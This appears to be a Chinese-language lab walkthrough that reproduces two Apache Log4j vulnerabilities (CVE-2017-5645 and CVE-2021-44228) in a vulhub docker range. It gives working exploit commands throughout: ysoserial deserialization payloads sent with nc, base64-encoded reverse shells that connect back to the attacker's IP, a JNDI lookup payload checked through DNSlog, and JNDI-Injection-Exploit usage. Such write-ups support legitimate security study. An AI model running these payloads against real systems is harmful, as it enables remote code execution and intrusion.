目录
CVE-2017-5645
Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
环境启动后,将在4712端口开启一个TCPServer。
要进行漏洞复现,需下载ysoserial.jar,使用ysoserial生成payload,然后发送到docker容器,
java ‐jar ysoserial-v0.0.5-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.217.134 4712
接着我们使用命令docker exec -ti c369ed596440 /bin/bash
登录到docker容器,查看命令是否执行成功。
可以看到,成功上传了一个success文件,接下来进行反弹shell的操作,以同样的方法传入一个能够反弹shell的命令来执行。
执行命令之前先开启端口监听来接收反弹的shell
然后执行反弹shell命令,弹shell的命令进行base64编码。
java -jar ysoserial-v0.0.5-all.jar CommonsCollections5 "bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMTcuMTM0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 192.168.217.134 4712
这里注意一下,第一次使用ysoserial.jar的话如果直接运行上面的命令可能会报错(找不到或无法加载主类:-jar。我的就出现了这个问题,百度的时候都是说java环境配置的问题,但我寻思着kali的java环境是本身就弄好的,不会有问题才对,后来就自己盲试解决了此问题),如果出现报错的情况就先运行java -jar ysoserial-v0.0.5-all.jar,之后再运行上面的命令。
反弹shell成功。
CVE-2021-44228
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。
JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。下图是官方对JNDI介绍的架构图:
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。启动环境之后,访问8983端口即可查看到Apache Solr的后台页面。
在192.168.217.134:8983/solr/admin/cores用bp抓包,用get传参的方法传入参数?actions=${jndi:dns://${sys:java.version}.mzkigj.dnslog.cn},
然后我们就可以在dnslog端查看到访问记录,
证明了漏洞存在。那么我们就可以开始利用这个漏洞来反弹shell了
弹shell代码:bash -i >& /dev/tcp/192.168.217.139/4444 0>&1,利用jndi注入工具生成payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.139"
这里注意(我的vulhub靶场在ubuntu用docker搭的,攻击机为kali):-A后面的参数ip为攻击机的ip,反弹shell设置的也是攻击机的ip,不然可能无法成功弹shell。
生成payload的base64部分即为反弹shell代码。jndi-injection.jar注入工具在github上有,自行下载使用。下载成功之后运行上上面的代码就可以生成payload
得到的这几个都是,我这里用的是第一个
成功反弹shell